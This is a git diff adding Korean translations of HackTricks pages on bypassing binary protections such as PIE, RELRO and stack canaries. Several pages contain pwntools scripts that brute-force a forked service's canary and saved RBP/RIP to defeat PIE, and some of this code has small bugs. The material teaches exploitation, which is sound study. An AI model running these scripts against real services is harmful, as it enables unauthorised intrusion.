+ +htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. +* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요. + +
+ +## 기본 정보 + +PIE로 컴파일된 이진 파일은 **Position Independent Executable**의 약자로, **프로그램이 실행될 때마다 다른 메모리 위치에 로드**될 수 있어 하드코딩된 주소를 방지합니다. + +이진 파일을 이용한 공격의 핵심은 **상대적 주소**를 이용하는 데 있습니다. 프로그램의 부분 간 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE 우회**를 위해서는 **스택**과 같은 취약점을 이용하여 일반적으로 **하나의 주소를 노출**시키면 됩니다. 한 번 주소를 얻으면 **고정된 오프셋**을 통해 다른 주소를 계산할 수 있습니다. + +PIE 이진 파일을 공격할 때 유용한 팁은 메모리 페이지가 0x1000 바이트 크기로 무작위화의 단위인 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이 정렬은 올바른 기본 주소가 식별되었는지를 나타내는 것으로, **해킹이 예상대로 작동하지 않을 때 중요한 확인 사항**이 될 수 있습니다.\ +또는 이를 이용하여, 주소가 **`0x649e1024`**에 위치한다는 것을 노출하면 **기본 주소가 `0x649e1000`**임을 알 수 있고, 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다. + +## 우회 방법 + +PIE를 우회하기 위해서는 **로드된 이진 파일의 주소를 노출**해야 합니다. 이를 위한 몇 가지 옵션이 있습니다: + +* 노출을 **받은** 경우 (쉬운 CTF 도전 과제에서 일반적, [**이 예제**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)를 확인하세요) +* 스택에서 **올바른 주소를 노출할 때까지 EBP 및 EIP 값을 무차별 대입**: + +{% content-ref url="bypassing-canary-and-pie.md" %} +[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) +{% endcontent-ref %} + +* 이진 파일의 주소를 노출하기 위해 [**format string**](../../format-strings/)과 같은 임의 읽기 취약점을 사용 (예: 이전 기술에서와 같이 스택에서)하여 바이너리의 기본을 얻고 거기서 오프셋을 사용합니다. [**여기에서 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). + +## 참고 자료 + +* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. +* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md new file mode 100644 index 000000000..441393745 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -0,0 +1,110 @@ +# 스택 내의 BF 주소 + +
+ +htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요! + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요. + +
+ +**캐너리와 PIE (Position Independent Executable)로 보호된 이진 파일을 다루고 있다면 아마도 이를 우회해야 할 필요가 있을 것입니다.** + +![](<../../../../.gitbook/assets/image (144).png>) + +{% hint style="info" %} +**`checksec`**가 이진 파일이 캐너리로 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.\ +그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우, 이를 수동으로 알아차릴 수 있습니다. +{% endhint %} + +## 브루트포스 주소 + +PIE를 우회하려면 **어떤 주소를 노출**해야 합니다. 이진 파일이 어떤 주소도 노출하지 않는 경우 취약한 함수에서 스택에 저장된 **RBP와 RIP를 브루트포스**하는 것이 가장 좋습니다.\ +예를 들어, 이진 파일이 **캐너리**와 **PIE**를 사용하여 보호되어 있다면, 먼저 캐너리를 브루트포스한 다음 **다음** 8바이트(x64)는 저장된 **RBP**이고 **다음** 8바이트는 저장된 **RIP**일 것입니다. + +{% hint style="success" %} +스택 내의 반환 주소는 주로 취약점이 이진 코드에 있는 경우에 해당하는 주요 이진 코드에 속한다고 가정됩니다. +{% endhint %} + +이진 파일에서 RBP와 RIP를 브루트포스하기 위해 유효한 추측된 바이트가 올바른지 확인하려면 프로그램이 출력되거나 충돌하지 않는지 확인할 수 있습니다. 캐너리를 브루트포스하는 데 사용된 **동일한 함수**를 사용하여 RBP와 RIP를 브루트포스할 수 있습니다: +```python +from pwn import * + +def connect(): +r = remote("localhost", 8788) + +def get_bf(base): +canary = "" +guess = 0x0 +base += canary + +while len(canary) < 8: +while guess != 0xff: +r = connect() + +r.recvuntil("Username: ") +r.send(base + chr(guess)) + +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() + +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base + +# CANARY BF HERE +canary_offset = 1176 +base = "A" * canary_offset +print("Brute-Forcing canary") +base_canary = get_bf(base) #Get yunk data + canary +CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary + +# PIE BF FROM HERE +print("Brute-Forcing RBP") +base_canary_rbp = get_bf(base_canary) +RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) +print("Brute-Forcing RIP") +base_canary_rbp_rip = get_bf(base_canary_rbp) +RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) +``` +마지막으로 PIE를 무력화하기 위해 필요한 것은 유출된 주소에서 유용한 주소를 계산하는 것입니다: RBP와 RIP입니다. + +RBP에서는 스택 내에 셸을 작성하는 위치를 계산할 수 있습니다. 이는 스택 내부에 문자열 "/bin/sh\x00"을 작성할 위치를 파악하는 데 매우 유용합니다. 유출된 RBP와 셸코드 간의 거리를 계산하려면 유출된 RBP 이후에 중단점을 설정하고 셸코드가 위치한 곳을 확인한 후 셸코드와 RBP 간의 거리를 계산할 수 있습니다: +```python +INI_SHELLCODE = RBP - 1152 +``` +**RIP**에서 **PIE 이진 파일의 베이스 주소**를 계산할 수 있으며, 이는 **유효한 ROP 체인을 생성하는 데 필요**합니다.\ +베이스 주소를 계산하려면 `objdump -d vunbinary`를 실행하고 최신 주소를 확인하십시오: + +![](<../../../../.gitbook/assets/image (145).png>) + +이 예에서는 모든 코드를 찾기 위해 **1바이트와 반**만 필요하다는 것을 알 수 있습니다. 따라서 이 상황에서의 베이스 주소는 **"000"으로 끝나는 노출된 RIP**일 것입니다. 예를 들어, `0x562002970ecf`가 노출되었다면 베이스 주소는 `0x562002970000`이 됩니다. +```python +elf.address = RIP - (RIP & 0xfff) +``` +
+ +제로부터 히어로가 되는 방법으로 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)! + +다른 방법으로 HackTricks를 지원하는 방법: + +* 만약 **회사가 HackTricks에 광고되길 원한다면** 또는 **HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **당신의 해킹 기술을 공유하세요.** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md new file mode 100644 index 000000000..efdc086b1 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md @@ -0,0 +1,39 @@ +# Relro + +
+ +htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요! + +다른 방법으로 HackTricks를 지원하는 방법: + +- **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. + +
+ +## Relro + +**RELRO**는 **Relocation Read-Only**의 약자로, **GOT (Global Offset Table) 덮어쓰기와 관련된 위험을 완화하기 위해 이진 파일에서 사용되는 보안 기능입니다. 이 개념을 명확하게 이해하기 위해 두 가지 유형으로 나누어 살펴보겠습니다: **Partial RELRO**와 **Full RELRO**. + +### **Partial RELRO** + +**Partial RELRO**는 이진 파일의 성능에 큰 영향을 미치지 않으면서 보안을 강화하는 간단한 접근 방식을 취합니다. **메모리 내 프로그램 변수 위에 GOT를 배치함으로써 Partial RELRO는 버퍼 오버플로우가 GOT에 도달하여 GOT를 손상시키는 것을 방지하려고 합니다.** + +이로 인해 **임의 쓰기 취약점에서 GOT가 악용되는 것을 방지하지는 않습니다.** + +### **Full RELRO** + +**Full RELRO**는 **GOT를 완전히 읽기 전용으로 만들어** 보호를 강화합니다. 이진 파일이 시작되면 모든 함수 주소가 해결되어 GOT에 로드되고, 그런 다음 GOT가 읽기 전용으로 표시되어 실행 중에 이에 대한 수정을 효과적으로 방지합니다. + +그러나 Full RELRO의 단점은 성능 및 시작 시간 측면에서 발생합니다. Full RELRO를 활성화하면 GOT를 읽기 전용으로 표시하기 전에 시작 시 모든 동적 심볼을 해결해야 하므로 **Full RELRO가 활성화된 이진 파일은 더 긴 로드 시간을 경험할 수 있습니다.** 이 추가적인 시작 오버헤드로 인해 Full RELRO는 모든 이진 파일에서 기본적으로 활성화되지 않습니다. + +이진 파일에서 Full RELRO가 활성화되어 있는지 확인할 수 있습니다: +```bash +readelf -l /proc/ID_PROC/exe | grep BIND_NOW +``` +## 우회 + +만약 Full RELRO가 활성화되어 있다면, 우회하는 유일한 방법은 임의의 실행을 얻기 위해 GOT 테이블에 쓰지 않아도 되는 다른 방법을 찾는 것입니다. diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md new file mode 100644 index 000000000..813dbc4a0 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -0,0 +1,61 @@ +# 스택 카나리 + +
+ +htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요 + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요. + +
+ +## **StackGuard 및 StackShield** + +**StackGuard**는 **EIP (Extended Instruction Pointer)** 앞에 `0x000aff0d` (null, newline, EOF, carriage return을 나타냄)와 같은 특별한 값을 삽입하여 버퍼 오버플로우에 대비하기 위해 **카나리**를 삽입합니다. 그러나 `recv()`, `memcpy()`, `read()`, `bcopy()`와 같은 함수는 취약하며 **EBP (Base Pointer)**를 보호하지 않습니다. + +**StackShield**는 **전역 반환 스택**을 유지함으로써 StackGuard보다 더 정교한 접근 방식을 취합니다. 이 스택은 모든 반환 주소 (**EIPs**)를 저장하며 오버플로우가 피해를 입히지 않도록 합니다. 이는 저장된 실제 반환 주소와 비교하여 오버플로우 발생을 감지하는 것을 허용합니다. 또한 StackShield는 반환 주소를 경계 값과 비교하여 **EIP**가 예상 데이터 공간 외부를 가리키는지 감지할 수 있습니다. 그러나 이 보호 기능은 Return-to-libc, ROP (Return-Oriented Programming), 또는 ret2ret과 같은 기술을 통해 우회될 수 있으며, 이는 StackShield가 로컬 변수를 보호하지 않음을 의미합니다. + +## **스택 스매시 프로텍터 (ProPolice) `-fstack-protector`:** + +이 메커니즘은 **EBP** 앞에 **카나리**를 배치하고 버퍼가 다른 변수를 덮어쓰지 못하도록 로컬 변수를 재배치하여 버퍼를 더 높은 메모리 주소에 배치합니다. 또한 스택에 전달된 인수를 안전하게 복사하고 이 복사본을 인수로 사용합니다. 그러나 8개 미만의 요소를 가진 배열이나 사용자 구조체 내의 버퍼를 보호하지 않습니다. + +**카나리**는 `/dev/urandom`에서 파생된 무작위 숫자이거나 기본 값인 `0xff0a0000`입니다. 이는 **TLS (Thread Local Storage)**에 저장되어 스레드 간에 공유 메모리 공간을 가질 수 있도록 합니다. 이러한 변수들은 초기에 부모 프로세스에서 복사되며, 자식 프로세스는 부모나 형제에 영향을 주지 않고 데이터를 변경할 수 있습니다. 그러나 **새로운 카나리를 생성하지 않고 `fork()`를 사용하는 경우 모든 프로세스(부모 및 자식)가 동일한 카나리를 공유**하므로 취약해집니다. **i386** 아키텍처에서 카나리는 `gs:0x14`에 저장되고, **x86\_64**에서는 `fs:0x28`에 저장됩니다. + +이 로컬 보호는 공격에 취약한 버퍼를 가진 함수를 식별하고 이러한 함수의 시작 부분에 코드를 삽입하여 카나리를 배치하고 무결성을 확인하는 방식으로 작동합니다. + +웹 서버가 `fork()`를 사용하는 경우, 카나리를 한 바이트씩 추측하는 브루트 포스 공격을 활성화할 수 있습니다. 그러나 `fork()` 후 `execve()`를 사용하면 메모리 공간이 덮어쓰여 공격이 무효화됩니다. `vfork()`는 쓰기 시까지 자식 프로세스가 복제 없이 실행되도록 하며, 쓰기를 시도하면 복제가 생성되어 프로세스 생성 및 메모리 처리에 대한 다른 접근 방식을 제공합니다. + +## 우회 + +**카나리를 유출**하고 그 값을 덮어쓰기(예: 버퍼 오버플로우)하는 방법. + +* **자식 프로세스에서 카나리가 생성**된 경우 한 번에 한 바이트씩 **브루트 포스**할 수 있습니다: + +{% content-ref url="bf-forked-stack-canaries.md" %} +[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md) +{% endcontent-ref %} + +* 이진 파일에서 흥미로운 유출 취약점이 있는 경우 유출할 수 있습니다: + +{% content-ref url="print-stack-canary.md" %} +[print-stack-canary.md](print-stack-canary.md) +{% endcontent-ref %} + +
+ +htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요 + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md new file mode 100644 index 000000000..34bee80a5 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -0,0 +1,117 @@ +# BF 포크된 스택 카나리 + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요. + +
+ +**카나리와 PIE (Position Independent Executable)로 보호된 이진 파일을 직면하고 있다면 아마도 이를 우회해야 할 방법을 찾아야 할 것입니다.** + +![](<../../../../.gitbook/assets/image (144).png>) + +{% hint style="info" %} +**`checksec`**가 이진 파일이 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.\ +그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우 이를 수동으로 알 수 있습니다. +{% endhint %} + +## 브루트 포스 카나리 + +간단한 카나리를 우회하는 가장 좋은 방법은 이진 파일이 **새로운 연결을 설정할 때마다 자식 프로세스를 생성하는 프로그램인 경우** (네트워크 서비스), **매번 연결할 때 동일한 카나리가 사용**될 것이기 때문입니다. + +그럼으로 카나리를 우회하는 가장 좋은 방법은 **문자별로 브루트 포스**하는 것이며, 추측한 카나리 바이트가 올바른지 확인하는 방법은 프로그램이 충돌했는지 또는 정상적인 흐름을 계속하는지 확인하는 것입니다. 이 예제에서는 **8바이트 카나리 (x64)**를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하는 방법을 보여줍니다. **서버가 응답을 보내는지 확인**하는 것입니다 (다른 상황에서는 **try/except**를 사용할 수도 있음): + +### 예제 1 + +이 예제는 64비트용으로 구현되었지만 32비트용으로 쉽게 구현할 수 있습니다. +```python +from pwn import * + +def connect(): +r = remote("localhost", 8788) + +def get_bf(base): +canary = "" +guess = 0x0 +base += canary + +while len(canary) < 8: +while guess != 0xff: +r = connect() + +r.recvuntil("Username: ") +r.send(base + chr(guess)) + +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() + +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base + +canary_offset = 1176 +base = "A" * canary_offset +print("Brute-Forcing canary") +base_canary = get_bf(base) #Get yunk data + canary +CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary +``` +### 예제 2 + +이는 32비트용으로 구현되었지만 쉽게 64비트로 변경할 수 있습니다.\ +또한 이 예제에서는 **프로그램이 먼저 입력의 크기를 나타내는 바이트를 예상**합니다. +```python +from pwn import * + +# Here is the function to brute force the canary +def breakCanary(): +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 + +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") + +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) + +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) + +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break + +# Return the canary +return known_canary + +# Start the target process +target = process('./feedme') +#gdb.attach(target) + +# Brute force the canary +canary = breakCanary() +log.info(f"The canary is: {canary}") +``` + diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md new file mode 100644 index 000000000..675f7c42f --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -0,0 +1,49 @@ +# 스택 캐너리 출력 + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요. + +
+ +## 출력된 스택 확대 + +**스택 오버플로우 취약한 프로그램**이 **puts** 함수를 **스택 오버플로우의 일부를 가리키도록 실행**할 수 있는 상황을 상상해보세요. 공격자는 **캐너리의 첫 번째 바이트가 널 바이트**(`\x00`)이고 나머지 캐너리는 **랜덤** 바이트임을 알고 있습니다. 그럼 공격자는 **오버플로우를 생성하여 캐너리의 첫 번째 바이트만 남을 때까지 스택을 덮어씁니다**. + +그런 다음, 공격자는 **페이로드 중간에 있는 puts 기능을 호출**하여 캐너리를 제외한 모든 캐너리를 출력합니다(첫 번째 널 바이트 제외). + +이 정보를 통해 공격자는 캐너리를 알고(동일한 프로그램 세션에서) 새로운 공격을 만들어 보낼 수 있습니다. + +물론, 이 전술은 공격자가 **페이로드 내용을 출력하여 캐너리를 유출**하고 그런 다음 **(동일한 프로그램 세션에서) 새로운 페이로드를 생성**하고 **실제 버퍼 오버플로우를 보낼 수 있어야 한다는** 제한이 있습니다. + +**CTF 예시:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) + +## 임의 읽기 + +format **strings**에 의해 제공되는 임의 읽기로 캐너리를 누설할 수 있습니다. 다음 예제를 확인하세요: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) 및 다음에서 임의 메모리 주소를 읽기 위해 format strings를 남용하는 방법을 읽을 수 있습니다: + +{% content-ref url="../../format-strings/" %} +[format-strings](../../format-strings/) +{% endcontent-ref %} + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md index b97f649ff..1042aaf46 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md @@ -2,23 +2,23 @@
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요 +htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요 -* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! +* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 홍보**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) -* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 +* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. -* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) 